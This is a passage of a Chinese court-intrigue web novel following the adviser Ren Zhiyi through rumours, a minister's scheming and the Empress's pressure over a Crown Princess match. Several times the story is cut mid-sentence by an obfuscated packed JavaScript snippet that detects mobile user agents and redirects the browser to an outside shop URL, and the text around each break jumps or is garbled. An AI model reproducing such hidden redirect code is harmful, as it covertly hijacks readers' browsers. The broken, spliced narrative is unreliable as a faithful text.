任知宜与宝珠、云娘和唐橘每人买了一个糖人儿,站在杂耍摊前,看汉子表演大刀。 那汉子一把大刀舞得虎虎生风,招式空隙间再饮一口烈酒,刀势起得更猛。 宝珠和唐橘看得津津有味,高声叫好! 不远处,宫城上空,燃起了璀璨的焰火。 百姓纷纷驻足,翘首望去。 一会儿是龙蛇飞舞,一会儿是鱼跃龙门,光彩夺目,映得夜幕有如白昼。 云娘也被这绚烂的美景迷了眼睛,久违地露出了笑容。 四位姑娘,言笑晏晏。 周围有百姓看着她们,面带惊艳。 任知宜清雅,唐橘飒爽,宝珠天真,云娘温柔。 “我曾从西域胡商手里买过可以燃出紫焰的烟花,比这个更漂亮!我还想过,日后要与他做烟花的生意……” 嘈声咂咂,任知宜的低声喃语,好似被风一吹,就散掉了。 宝珠格格地笑着,大声问道:“小姐刚才说什么?” 任知宜不在意地浅笑,轻吐小舌,舔了舔手中的糖人儿,置身于满城花灯的锦绣繁华,令她身上多了几分闲适和随意。 四人顺着夜市,走到安宁桥上。 溧水纵贯兆京南北,其上有两座圆形拱桥,分别是安宁桥和顺宁桥,双桥隔水相望,宛如系在溧水腰间的两条玉带,秀丽文雅。 每逢年节,有花灯夜会之时,百姓喜欢站在桥身正中,欣赏船行夜泊之景。 双桥下的圆形石拱与水中倒影连成一体,为无边夜色添了几分静美。 皎月生辉,水波粼粼。 “咦?” 唐橘望见对面桥上的身影,轻轻瞥了一眼任知宜。 任知宜顺着她的视线望过去。 如青竹松鹤般的身影,于人群中卓然而立,银白色的帛带飘于发间,现出世间难见的清贵风仪。 在他身旁,站着一位身姿窈窕的姑娘。 侧影婀娜,姿态妍美,高高的云髻上插着彩凤步摇,行止颇有仪范。 好似檀郎谢女,一对璧人。 任知宜怔怔地望着二人。 琼林宴的当夜,陛下宴群臣百官、明经进士之时,太子卫枢却与一位姑娘出宫夜游溧水。 放在桥槛上的手指微微抠紧,一股莫名的情绪侵扰着她。 唐橘凑到她身前问道:“对面那人是太子吧?” “……” 默了半晌,任知宜眼神盯着前方一动不动,仅是轻轻地“嗯”了一声。 “你回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914559|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京后,可有面见太子?” 任知宜抿唇,微微摇了摇头。 “莫非……”,唐橘面露担忧,“传言是真的?你与太子之间,生了龃龉?” 任知宜眉间微动,眸色幽微。 “究竟是什么样的传言?” “一个传言说,你身为东宫幕僚却经营香铺,贪财逐利,当街行凶,仗东宫之势欺人,太子训诫约束,你却屡教不改,终引太子大怒,将你赶回了灵州。” 任知宜问道:“听你的意思,还有另一个?” “另一个传言,则说太子看中你与霍思修的关系,逼迫你做了东宫幕僚,实际上是以你为刀,排除异己。如今科举已定,你便没有了利用价值。” “嗖……” 一道烟花直冲天际,在夜空中炸成漫天的银火。一瞬间,光芒照耀。 借着亮光,任知宜看清楚对面姑娘的脸。 双眸若水,艳如朝阳,好一张美艳昳丽的容颜。她不是宫中的大公主,亦不是京城中的任何一位贵女。 大胤有两地盛产美人,一是山南道,山水丰茂,美人多体态纤细,清雅柔静,蕴山川之灵蕴。 任知宜便是地地道道的山南道美人,只不过她气质过于沉静内敛,略略冲淡了这份柔美。 另一处盛产美人之地则是靖北道,平原辽阔,此地美人讲求骨肉停匀,是以皆美得身姿丰润。 观其形貌,任知宜隐隐猜到了这个姑娘的身份,一丝难言的滋味划过心间。 “知宜!”唐橘问道:“究竟哪一个传言是真的?” 任知宜收回视线,幽幽叹道:“既然是传言,则必有源头。是真是假,端看传言之人想要达到什么目的。” “呵!”唐橘两手一摊,冷笑道:“照这么说!第二个传言必是解州一派编出来的,那第一个呢?” “御史大夫叶蕴之!” 唐橘一怔,“你二人都是东宫一派,叶大人为何如此?” 任知宜眸色晦暗,深邃的眼神望向卫枢。 就在此时,卫枢似有所感,也朝对面望去。 清辉落落,玉人如昔。 今日,他在东宫书房坐了一整日没等到的人,却没料到在这里见到了。 案上放着这些时日飞鸽传信的竹签,里面记录了任知宜在睢州和灵州发生的事。 卫枢默默地望着她,她穿得单薄,似乎比走之前又清减了少许。 焰火燃尽,夜色渐幽。 隔水相望,对面的身影渐渐模糊。 她们被拥挤的人流推搡着,下了安宁桥,回到朱雀长街。 一处摊前,任知宜见剩下一盏兔子花灯,很是灵动可爱,便买了下来。 一抬眼,卫枢与那位姑娘正站在长街中央,姑娘手中亦提着一盏兔子花灯。 卫枢微微沉吟,缓步上前。 “回来了!” 任知宜唇角微动,斟酌着话语。 那姑娘倒是先一步说话了,“殿下,她是谁啊?我买的兔子花灯不是唯一的一个吗?” 话音落下,带着七分骄矜,三分傲气。 任知宜眸色微起波澜,淡静从容地行了一礼,“东宫女史任知宜,拜见懿靖郡主。” 44. 隐瞒 烟波浩渺,水气散在河面,盘旋缭绕。 倚窗而望,暮色春波,云霞尽染,禹山于溧水之后,山峦秀致,苍峰青翠。 一只苍羽白斑燕扑棱着翅膀,落在窗棂上,发出叽咕叽咕的声音。 “凌云楼不愧是京城首屈一指的酒楼,单看这景色,便让人心旷神怡。” 任知宜轻声赞叹,绯红色的罗纹裙摆在空中轻轻地划出一道弧线。 “姑娘喜欢,随时可来。” 紫檀黑漆桌案旁,一身黑色长衫的柳德手执青花缠枝耳壶,馥安茗茶的香气氤氲而出。 “劳尚书大人亲为,实在折煞小女子了!”任知宜躬身,双手接过白玉茶盏。 轻啜一口,“好香!不愧是天下第一名茶。” “姑娘若喜欢,老夫差人给姑娘送几份。”柳德不以为意道。 听他不作官称,任知宜素手微顿,笑意不减,“柳尚书,无功不受禄!” 白玉茶盏中的热气升腾,拂于面前,袅袅如烟。 “也算不得无功。” 柳德脸长额尖,眉骨偏高,不笑时面带肃厉,笑时又透着几分奸滑。 “听闻姑娘颇有经商的才干,应国将有一批香料运来大胤,老夫想接这笔生意,与姑娘合作。” 这生意一本万利,凭柳德的身份,与谁合作不行,偏要与她? 任知宜浅笑不语。 柳德翻了下眼皮,“说实话!老夫原本是瞧不上姑娘的,不过没想到,连明泽也折在姑娘手中。” 明泽,是程可靖的表字。 任知宜觉得好笑,“所以,柳尚书开始觉得,我这个东宫幕僚还有些价值。 “呵……东宫幕僚!” 柳德眼睑微挑,唇角凝出一个嘲笑的弧度,“姑娘真得以为自己深得太子的信任?若真如此,太子又怎会不告诉姑娘,他与安州王结盟一事!” 他满意地看到一抹异色在任知宜的眸中闪过。 “明泽曾托我去杀那个致仕的礼部官员,那人却被安州王的人救走,送到太子手中。姑娘可明白老夫的意思?” 任知宜突然记起,在长公主府曾遇到一个头戴斗笠,昂首踏步的男子,虽看不见那人容貌,观其身形、气质,与安州王极为相似。 那一夜被困暴雨中,景随的话中亦是透露出此意。 柳德觑着她的神色,缓缓道:“既然得不到信任,姑娘这个东宫幕僚还有继续做下去的必要吗?” 茶盏捏在细白的指尖里,白瓷莹润,与其相得益彰。 任知宜静然不语,唇角噙出一抹淡淡的笑,“殿下做事自有原由,我只须做好分内之事。” “好一个忠心耿耿的东宫幕僚!”柳德大笑道:“你入京行贿是为了救父,太子答应为你父翻案,却迟迟不践行诺言,你可曾想过原由?” 任知宜的笑意淡了几分。 “其实……”,柳德悠悠道:“那份户部的公文,一直都在太子手中。” 任知宜手上的动作一顿,一双明眸黑得发亮。 “你是不是一直以为是我从中作梗?”柳德嗤笑,“你别忘了!苏叶是户部侍郎。” 任知宜心头重颤了一下,喉头发紧。 门开,柳府的仆从跪着进来,将茶煎换了新,动作干净利落,浸茶的时辰拿捏得刚刚好。 暮色渐深,夜雾罩着禹山,辨不清真景。 柳德凭窗远望,感慨道:“自古谋夺大业者,皆心思难测,绝非良人。” 任知宜心跳猛地一促,呼吸乱了几瞬。 对方的眼神似笑非笑,好似是看透了她心底的隐秘。 柳德缓缓道:“姑娘可能不知,在姑娘回灵州九死一生之时,太子殿下亲自到安州接懿靖郡主进京。此事已传遍朝堂内外,陛下与皇后亦甚是欣慰,只待定下太子妃人选。” 他觑了一眼她的神情,“姑娘是个聪明人,何必在一条错路上走到黑呢?” 星子点点,桥影如月。 昨夜银花散落、长街偶遇之景在她脑海中一一闪现。 任知宜咬着下唇,脸色由青转白,弯曲的指节攥在一起,被掐到泛白。 柳德的声音带着几分嘲意,“以姑娘的容貌性情,想来太子还是会为姑娘留个侧妃之位的。” 若论杀人诛心,没有比这句话来得更恰如其分。 任知宜瞳眸黑如漆墨,声音冷过数九寒天,“柳尚书多虑了!知宜从未生过此等妄念!” 执盏的手轻颤,手背被滚烫的茶水燎了一下,落下一片潮红。 任知宜袖中攥拳,深深地呼了口气,“你告诉我这些,是想让我背叛太子?” “哈哈哈……”,柳德笑得放肆,“姑娘说笑了!只是想请姑娘帮一个忙。” “何事?” “韩家所托之事,请姑娘劝太子不要参与其中。” 任知宜微微一怔。 原来,韩家欲争盐业经营之事,郑家早已知晓。 柳德捋着短须,笑道:“若姑娘答应,日后便是这凌云楼的东家。钱财傍身,远胜过海誓山盟。姑娘这么聪明,这个道理不会不懂。” 任知宜眸色几经变换,冷然离开。 —— 人走后,一直守在屋外的凌云楼掌柜进来,神情有几分黯然。 柳德笑道:“舍不得这凌云楼?” 掌柜慌忙跪下:“小的不敢,只是这凌云楼经营多年,利润颇丰,心里有些惋惜。” “放心吧!”柳德笑道:“这凌云楼迟早还是会回到老夫手中。” “可是,大人不是已经让郑家做好了万全的准备!为何还要如此?” “今日我与她相见之事会一字不露地传到太子耳中。就算她是真心规劝,太子却只会疑心于她。再加上一个懿靖郡主,任知宜势必心灰意冷。” “小的愚钝,一个小女子,哪值得大人花这等心思布局?” 几盘小菜端上。 “这是今早刚摘的笋,用鱼汤煨了半日,您先尝尝鲜。” 柳德缓缓夹了一根,笋尖嫩净,鲜脆可口。 “不要轻视此女,她聪敏善谋,本是一大劲敌。”柳德顿了一下,笑道:“可惜啊……她不该动情。” 掌柜恍然,“此女为人市侩凉薄,却数次不惜性命襄助太子,正是出于此情。” “呵……你见过哪个幕僚敢当面忤逆主公?越是炽烈的感情越容不得瑕疵,女子一旦受了情伤,绝情起来,会比我们想象得还要可怕。” 掌柜略犹疑,“若是太子自己也不愿趟这个浑水……” 柳德放下竹筷,露出一个意味深长的笑容,“太子会愿意的。” ———— 翌日,任知宜守在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017292|127961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户部的公廨门前。 一左一右,蹲坐的石狮子张着大口,威严赫赫。 苏叶走出来时,身旁跟着一道红影,步履从容,身姿矫健。 唐橘? 任知宜一怔,顾不得问唐橘为何会和苏叶在一起,径直问道:“太子是不是曾让你从户部拿过一份公文?” 苏叶神色一变,“你听谁说的?” 此话犹如一盆冰水兜头而下,让人心凉。 “太子何时拿到的?”任知宜语气生冷,“两个月之前?” 苏叶面色一沉,高声喝道:“放肆!任知宜!不要忘了自己的身份。” 她于东宫质问太子的传言早已传遍后宫,苏叶本就对她颇有微词,听说此事后,更是不满。 任知宜怒极反笑,“得蒙太子知遇,我非得含笑引颈受戮,方能彰显忠心?” 公廨门前,人来人往。 她高声以对,不遮不掩,引得旁人惊讶侧目。 苏叶紧了紧眉心,放平语气道,“光靠那份公文,并不能证明你爹无罪,殿下也是担心打草惊蛇。” 任知宜静立原地,一言不发。 苏叶以为她听进去了他的话,继续道:“你是殿下最信重之人。你数次忤逆殿下,殿下也并未追究。” 信重? 天光烈烈,照在双眸间,刺得她睁不开眼睛。 她平稳了一下心绪,缓缓问道:“那日长公主府的竹林外,我遇见的人是不是安州王何卢?” 苏叶敛眸默然。 任知宜明白过来,轻笑一声。 接着,道了声“多谢”,转身即走。 身后传来苏叶的声音,“殿下为了你父亲的案子,特意去求了陛下的旨意,你千万不要做出令殿下失望之事。” 她身子顿了一下,脚步未停。 苏叶轻哼,重重地一甩袖,欲转身回去。 冷不防脚下一趔趄,整个人摔扑了出去,撞在石阶上。 “哎呀!”唐橘惊道:“苏侍郎,您没事儿吧?” 苏叶怔在原地,一双眼睛不可置信地望着唐橘。 这一跌,来得猝不及防。 苏叶清楚地看到唐橘故意伸脚,但是他不懂为什么。 “我的天!”唐橘掩着口,故作惊吓地高喊道:“苏侍郎,您流血了!” 无数人闻声望过来。 一张俊脸摔得肿胀难堪,鼻下鲜血直流,好不狼狈。 哪里还有半分苏家公子的风华之貌! 苏叶挥开她要扶他的手,双眸喷火,“唐橘,你是不是疯了?” 唐橘闲闲地背着手。 不扶,更好! 苏叶满眼厉色,“你是在替任知宜出气?” 唐橘充耳不闻。 苏叶几乎气疯,但是公廨门前,又不好发作。 他低吼道:“让你们林大人亲自来取那份户籍,我倒要问问,大理寺的人究竟是捕快还是土匪?” “呵……”,唐橘晶亮的眸子闪了闪,满不在乎道:“调取户籍,区区小事,苏侍郎数日不能办成。我昨日心急如焚,便找了钱侍郎,不到一个时辰便已拿到。 今日,只是特意来告知苏侍郎一声。大理寺还有公务,先行告退。” “你……”,苏叶气到说不出话来。 唐橘摆了摆手,扬长而去。 45. 训诫 琼林宴上,君臣同欢。 酒酣之际,银釭烛影之下,皇帝见一众进士少年意气,风华正茂,一时喜上眉梢。 继而举杯醉言道:“朕观今科一甲高才俊彦,可直入翰林,众卿以为呢?” 大胤进士者,还未有过直入翰林之先例。 此言一出,众臣皆怔。 有人率先反应过来:“陛下金口玉言,圣明之至。” 接着,众臣纷纷附和。 御旨随之而下,封景随为翰林院供奉,从六品;封刘泰和霍思修为翰林院待诏,正七品。 其余进士,经吏部考核后,委任道府州县之职。 一时之间,民间引为美谈。 三人府邸门前,宾客络绎不绝。 —— 朝阳初绽,伴着霞光缓缓升起。 透过坤荣殿的宫檐一角,可见片缕浮云飘荡。 云雀挂枝低鸣,不敢惊声;不似灵州的雀鸟,可于山林间肆意歌吟。 宫人引路,任知宜跨入坤荣殿内。 殿深廊长,宫人跪于两侧,手捧白盂,内置冰水, 沿廊而过,凉意拂身。 任知宜正襟缓步,目不斜视,迈入殿内。 宫室内,出来迎她的是之前见过的李嬷嬷。 李嬷嬷神色复杂地瞥了她一眼,肃声道:“皇后娘娘在等女史。” 正堂内,紫金香炉香气袅袅,团团曦光自窗棂曳地而泻,透过飘逸轻透的纱帷,隐隐可见内里雕梁画栋,金碧荧煌。 与东宫的简约截然不同,坤荣宫的富丽堂皇让任知宜微微失神。 几步近前,任知宜深拜于地,“东宫女史任知宜拜见皇后娘娘,愿娘娘千秋鼎盛,福寿绵长。” “抬起头来!” 任知宜依言抬头,唯眼神微微下垂,保持着恭谨的姿态。 郑皇后细细端详着。 一张巴掌大的杏脸,眉目清润,琼鼻秀挺,容色可以称得上是极美。 除了郑皇后,另有一道视线落在任知宜身上。 懿靖郡主也在上下打量着她。 绛红色的窄袖官服极其贴合,衬得任知宜细腰不盈一握,体态纤纤,婉约柔静。 郑皇后缓缓道:“你入宫的日子不算短,今日却是本宫第一次见你。” 任知宜额头触地,“娘娘统领六宫,日理万机,今日得见凤颜,是知宜的荣幸。” “人长得不错……”,郑皇后的声音淡淡的,“也还算是会说话!” 懿靖郡主笑得明艳大方,“听闻女史以一人之力,与整个贡士院对峙,若非巧言善辩之人,焉能当此大任!” 闻言,郑皇后的眸色又淡了几分。 郑皇后年轻时,在京城贵女之中是出了名的端庄知礼,德言容功兼备;十几年的正宫之位,更是将她的性子磨得愈加沉肃。 她不喜欢任知宜。 此女过于锋芒毕露,虽为太子办成一些事,但是树敌过多。 之前,她让李嬷嬷对此女告诫一番,她却阳奉阴违,明里答应得好听,暗地里在应国使臣的宫宴上设局陷害严风,差点陷太子于危局。 懿靖郡主笑道:“任女史接连扳倒两位重臣,心机也不是一般人可比拟的。我初到京城便听说,如今大胤朝臣听到任女史的名字,无不胆战心惊。” 任知宜垂着脸,眼睫一抖,“郡主,皆是传言,不可尽信。” 昨夜接谕旨之时,她已知今日不好应对,却没料到还有个懿靖郡主在旁煽风点火。 郑皇后淡淡道:“本宫问你,你因何忤逆太子?” 任知宜心头一颤,“是因为……一些政事上的分歧。” “好大的胆子!” 这话说得四平八稳,不疾不徐,听不出郑皇后究竟是何意。 懿靖郡主眉心轻动。 “身为东宫女史,忤逆太子,本宫原想重罚……” 话未说完,郑皇后顿了一下,招呼懿靖坐到她身边,抚着她的纤纤玉手,柔声道:“做正宫要有容人的雅量,东宫也不可能只有太子妃一人。” 话中有话。 懿靖郡主亦不是傻人,仅是闪了一下双眸,依旧笑得明艳大方,“懿靖明白。” 郑皇后凝视着任知宜,淡淡道:“之前种种,便算了。日后安安稳稳地留在东宫,不要再参与朝堂政事。” 任知宜猛地抬头,眸色深黑,“敢问娘娘,这是太子的意思,还是娘娘的意思?” 郑皇后一怔,旋即大怒。 “本宫还做不得你的主?” “臣不敢!”任知宜垂眸:“只是太子与臣有言在先……” “这是太子的意思!” 冰冷的声音直穿入耳,引得耳膜嗡嗡空响。 郑皇后又重复了一遍。 任知宜袖手紧握,默然垂首。 “太子对你还是信重的。只不过,女子终归要嫁人。留在东宫做个侧妃,伺候太子,便是你最好的归宿。” 任知宜双眸震动,“这也是太子之言?” 郑皇后厉声喝道:太子让你静待东宫,正是此意。” “娘娘!”懿靖轻声笑道:“任姑娘心里必然也是欢喜的,只是一时有些惊讶罢了。” 郑皇后闻言,面色稍缓。 对于懿靖,她虽然说不上很中意,但是懿靖的身份、容貌摆在这里,再加上几分太子妃该有的顾全大局,这些已足以令她满意。 “未来你二人共同辅佐太子,打理东宫,切记万事要以太子为先。” “臣女不愿做太子侧妃!” 此言一出,坤荣殿鸦雀无声。 随侍在旁的宫人连大气都不敢喘一下,只是绷紧唇齿,噤若寒蝉。 “你说什么?”郑皇后似是怒到极点,一掌拍在榻几上,震得杯盏咣咣作响。 “臣女蒲柳之姿,配不上殿下,求娘娘让臣女离宫返乡。” 话虽说得谦卑,却是全然的推搪之辞。 懿靖郡主面露惊讶,“东宫上下皆说任姑娘对太子情深义重,为何不愿?” 任知宜沉然不语。 接着,懿靖郡主咯咯地笑了两声。 “莫不是任姑娘看不上侧妃之位,想要做……太子妃?” 郑皇后冷笑一声。 区区五品边官之女,留个侧妃之位,已是仁至义尽,她竟然还敢贪得无厌。 任知宜跪地伏拜,声音不卑不亢,“臣女别无他想,请娘娘成全。” “放,肆!” 一道凉冰碎玉之声从身后传来。 卫枢踏步而来,白衣款款,衣袂飘风。 “儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沿街缓行,不知不觉走到一家面摊前。 白衫竹纹,青襟玉带。 摊位上坐着的白衣公子,不是景随,又是何人? “景公子,好巧!” 景随笑如清风,“之前听你夸赞这里的面,我还以为姑娘会常来,没想到足足吃了二十八碗面,这才遇到姑娘。” 任知宜微讶,后知后觉地发现,这里是上次她与景随吃面的那家面摊。 “景公子找我有事?” 景随不在意道:“想找姑娘随意聊聊。” “呵!”任知宜随意坐下,笑叹道:“今科状元,宰辅之子,还会缺聊天的朋友?” “可是有些话,我只想与任姑娘你一个人说。” 这话脱口而出,却说得温柔缱绻,情意绵绵。 手中的茶盏停在半空,任知宜樱唇微张,神情愕然。 对方的眼神里好似只有她一人,流光烨烨,灼灼其华。 任知宜缓缓地搁下茶盏,面上露出几分不知所措。 46. 漩涡 街边此起彼伏的叫卖声,冲破了二人之间凝滞的气氛。 景随放下竹筷,轻声道:“景某说话有些唐突了。” 斜阳夕照,晚霞尽染。 玉指摩挲着盏沿,任知宜眼睫轻颤,似是心事重重。 景随察觉到她的异样,温和笑道:“任姑娘这是去哪儿?” “有人想整垮我家的香铺,打算去探探对方的虚实。” 这话说得一本正经,却又云淡风轻,令景随一怔。 景随朗声笑道:“之前见面,姑娘对景某总是多有怀疑,今日倒是难得坦诚。” “此事是我欠公子一声抱歉!”任知宜沉吟半晌,“细数你我相识以来的经历,景公子不但多次相助,还从未说过一句虚言。” 她明眸轻闪,若有所思。 天边云霞渐散,残留落日余晖。街边有人呼朋引伴,相携共饮;有人步履匆匆,焦急归家。 人生在世,不过求一个平安喜乐。 景随面露惊喜,禁不住握拳轻咳,虚虚地掩住唇间的灼灼笑意,“别人暂且不论,任姑娘是我极为珍重的朋友,我是绝不会欺瞒半分的。” 任知宜定定地望着他,对方不避不躲,倒是她先承受不住这温柔的视线,不自然地别开脸。 “还未恭喜公子高中状元,入得翰林院,日后定当平步青云。” 一甲入翰林,天下皆知。 景随初入朝堂,便领了翰林院供奉一职,可谓前途无量。 翰林院不掌权柄,只是修书撰史,草拟诏书,但是这里离大胤权力中枢最近,易得圣心,参与政事。 “状元之位,非我莫属。” 初听此言,只觉此人狂妄,如今尘埃落定,她淡淡一笑,“景公子天纵英才,当得状元。” 景随摇摇头,“自十五岁起,我每日卯时晨起,挑灯夜读至子时方歇,不论春秋寒暑,无一日间断。” 任知宜怔怔地眨了眨眼睛。 一时之间,有些不太能理解这突如其来的自白。 这哪里是……狂悖自负? “我幼时顽劣,不喜读书,动辄便得到父亲的一顿杖打。兄长不但护着我,每日不厌其烦地读书给我听,还会讲一些圣贤之道。” 任知宜静静听着。 “兄长天资聪颖,才华过人,他一心要考得状元之位,投身朝廷,经世济民。 可惜,在我十五岁那年,春闱当日,他没有去参加会试,却跳了曲江。” 景随的声音低沉,“这些年,我只做两件事。一件是完成家母遗愿,为景家挣一个状元;另一件,便是查他的死因。” 他挥挥手,着人买了壶酒回来,抿唇倒了一杯。 任知宜想起,初见卓老时,那句“你兄长就是自尽”说得极为笃定,景随如此行事,更像是心结难解。 她手压酒杯,阻止他继续喝下去,“你不信卓老所说?” 景随一怔,旋即笑得开怀,“任姑娘是在关心我啊?” 接着自顾自笑道:“我只是见到姑娘,有些高兴,这才多饮了两杯。” 任知宜倏地松开手,面带薄愠。 景随不以为意地笑笑,“我将兄长的尸身偷出来,请卓老验过三遍,与高期不同,兄长的确是自尽无疑。” “那你还要查什么?” “查他为何自尽。”几杯酒下去,不见醉意,他的眼神反而愈加清亮,“兄长性情平和豁达,胸怀远志,我无论如何也想不出,他到底为何会自尽,还是在会试当日。” 任知宜点点头,“所以你才介入科举舞弊之案……” “可惜啊……”,景随轻声道:“这些案子,与我兄长之死,皆毫无干系。” 说起他兄长之死,他虽面带笑容,眼底却是一片冰凉。 “有线索吗?” “兄长死之前,曾去找过太常寺卿钟黎,不过钟黎说,他并未见过我兄长。” 任知宜一怔。 她差点忘记此人,牵涉科举舞弊案的所有人当中,惟独钟黎侥幸逃过,仅是因教子无方之失,在家中闭门思过。 夜幕将至,街市上行人渐少。 “你是不是也觉得奇怪?”景随道:“钟黎之子明明参与舞弊,为何肖显秀要独独保他一人?” 钟黎在朝中一向横言无忌,任知宜从未深思过此人倚仗的究竟是什么,如今想来,的确有几分怪异。 “入朝之后,你要继续查下去?” “不错!”景随的眼神望过来,“若我有所求,姑娘可愿帮我?” 任知宜微愕,一时之间不知该怎么回答他。 不想答应,却又不忍拒绝。 景随唇角轻勾,淡淡笑道:“玩笑而已!我怎会让任姑娘为难呢!” 他淡淡抿了一口酒。 任知宜思忖半晌,柔声道:“既然是朋友,若我力所能及,定当尽力。” 景随一怔,眼底如落繁星,熠熠生辉。 ———— 几日后,安王回京。 安抚靖北道节度使白坚,招降流民,于无声处消弭一场叛乱祸事。 三道九州联名上表,赞颂安王德才兼备,为大胤皇子之表率。 应国国主寄来国书,恳请大胤开放边境通商,惠及两国子民。 一时之间,朝野上下,对安王赞声一片。 是夜,皇帝贤妃娘娘的兰璋宫。 贤妃娘娘姓徐,闺名兰芷,含岸芷汀兰之意,虽已不复年轻貌美,胜在温柔知礼。 皇帝半阖双目,头微微后仰,感受着来自指尖的轻柔力道。 “朕的头疼,只有到贤妃你这里,才能得到纾解。” 贤妃轻轻地揉捏着皇帝的侧颞,叹声道:“陛下忧心国事,太过操劳!连白发都多了。” 皇帝缓缓地睁开双眼,灯烛下,贤妃的侧颜隐在晕黄的灯影下,现出几分娴静之美。 “这些年,冷落你了!朕心里一直歉疚得很。” 贤妃心中冷漠,面上却现出几分动容,“陛,下!” 拭掉眼角泪滴,贤妃似是百感交集,“陛下还记得我们母子,臣妾就心满意足了。” 皇帝拍拍她的手,“咱们的瑾儿很不错,事父至孝,行事稳重,日后定大有可期。” 贤妃闻言,破涕为笑,“他生来是陛下的儿子,便已是大造化,还有什么好期的!” 皇帝心中一动,沉吟片刻,未再言语。 贤妃点上安神香,为他盖上薄衾,皇帝生过一场病后,夜里总是畏寒。 “朕记得,你母家姓郑,……” 贤妃手下动作一顿,“难为陛下记得!臣妾的母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“话虽如此!”任知宜肃着一张俏脸,“我依然是东宫的幕僚。” 柳德双眼微眯,将眉头蹙得更高,“姑娘对太子死心了?” 坤荣殿发生的事,早已传入他的耳中。 一个小小的离间之计,再加上女子的嫉妒心,足以令二人生出嫌隙。东宫少了任知宜这一助力,对他们百利而无一害。 但是,任知宜这么快背叛太子,反而让他怀疑…… “恰恰相反!”任知宜眸色深黑如墨,“你不能动太子,但可以毁掉太子与安州王的结盟。” 最简便的方法,便是破坏太子与懿靖郡主的婚事。 柳德笑了笑,原来如此。 “我会将东宫的消息传给你,助郑家成事,你要想尽一切办法阻止懿靖成为太子妃。” “好!” “我还有一个要求!” 柳德挑眉,“凌云楼?” 任知宜摇了摇头,声音清冷如冰,“山南道军费!” 47. 暗潮 六百里军情加急,报霍州段运河有郓人拦路劫掠,被沿江追来的山南道节度使郭嘉斩杀。 这些年来,郓人多有侵扰,却仅限于灵州,此次北至运河,朝廷颇为震惊。 柳德一怔,面色微沉,“姑娘为何要帮郭嘉?” “我父亲是灵州长史,灵州与郓国相连。” 柳德神色稍缓,沉声道:“此事朝中已有定论。” “可是朝廷定下的军费数额太少,请柳尚书帮忙,再多支一倍。”任知宜不以为然道。 柳德面色沉沉,“国库空虚,陛下又一直忌惮各道节度使,这个数额不能再增加。” “山南道军费常年不足,军士多有懈怠,如何能与郓国相抗?” “不过是威慑一下,又不是真得动刀动枪。”柳德斜睨着她,“只要他们不再进渝江,朝廷也不愿兴起战事。” 任知宜闻言,一颗心沉到谷底。 “这是我的第二个要求,若柳尚书不答应,咱们的约定就此作罢。”她的声音陡然拔高,透着决绝之意。 柳德微怒,“你敢威胁老夫?” 整个宅院安静空旷,不闻虫鸣鸟叫,两相对峙的气息在静谧的空气中涌动。 有侍从走进正堂,近到柳德身前禀道:“老爷,刚才一队北衙卫从咱们门前走过。” 柳德神色微凛,“有异样?” “这几日京中有几家府里被贼人偷了东西,可能是这个原因,北衙卫增加了巡逻守卫。” “让咱们的人跟着北衙卫,确保无异状之后再回来。” 侍从领命离开。 刚才侍从提及北衙卫的时候,柳德注意到任知宜身子一僵,神情略带仓皇,不由地对她多信了几分。 默了半晌,柳德长长地吁了一口气。 “罢了!老夫会尽力促成此事。” 任知宜绷紧的面容一松,像是卸下重负,长揖到地,“多谢柳尚书!” 柳德面色稍霁,“姑娘何必如此?” “我父亲不日会升任灵州刺史,十数年来,朝廷对灵州不闻不问,百姓饱受郓人欺凌,这个官,实在难做!” 柳德沉吟片刻,“老夫这边答应你,你要确保东宫不作插手。” 任知宜再次拜谢。 柳德突然想起什么,温言提醒道:“灵州这种地方,还是要尽早远离。” 闻言,任知宜怔在原地。 柳德笑得随意,“待得任大人灵州刺史之位满一年,老夫打点一下,可调迁任大人去江南道任刺史。江南太平富庶,风景秀丽,任姑娘也无须继续挂心令尊。” 那灵州的百姓呢…… 这句话在她唇齿间滚了滚,复又咽了回去。 一腔荒凉之感,溢满胸臆。 她垂首敛眸,掩下眼底情绪。 ———— 坤荣殿 “姐姐这里真是雅静!”庆嫔捏着绢帕轻笑,颦眉若画,明眸婉转多情。 “妹妹喜欢,日后常来。”贤妃姿态雍容地剪掉兰花枝上的杂叶,回以浅笑。 昨日,宫内府送来十几盆兰花,品相各有不同。 其中,尤以直剑墨兰的品种最为罕见,色呈紫褐,萼长如剑,是墨兰之中的圣品。 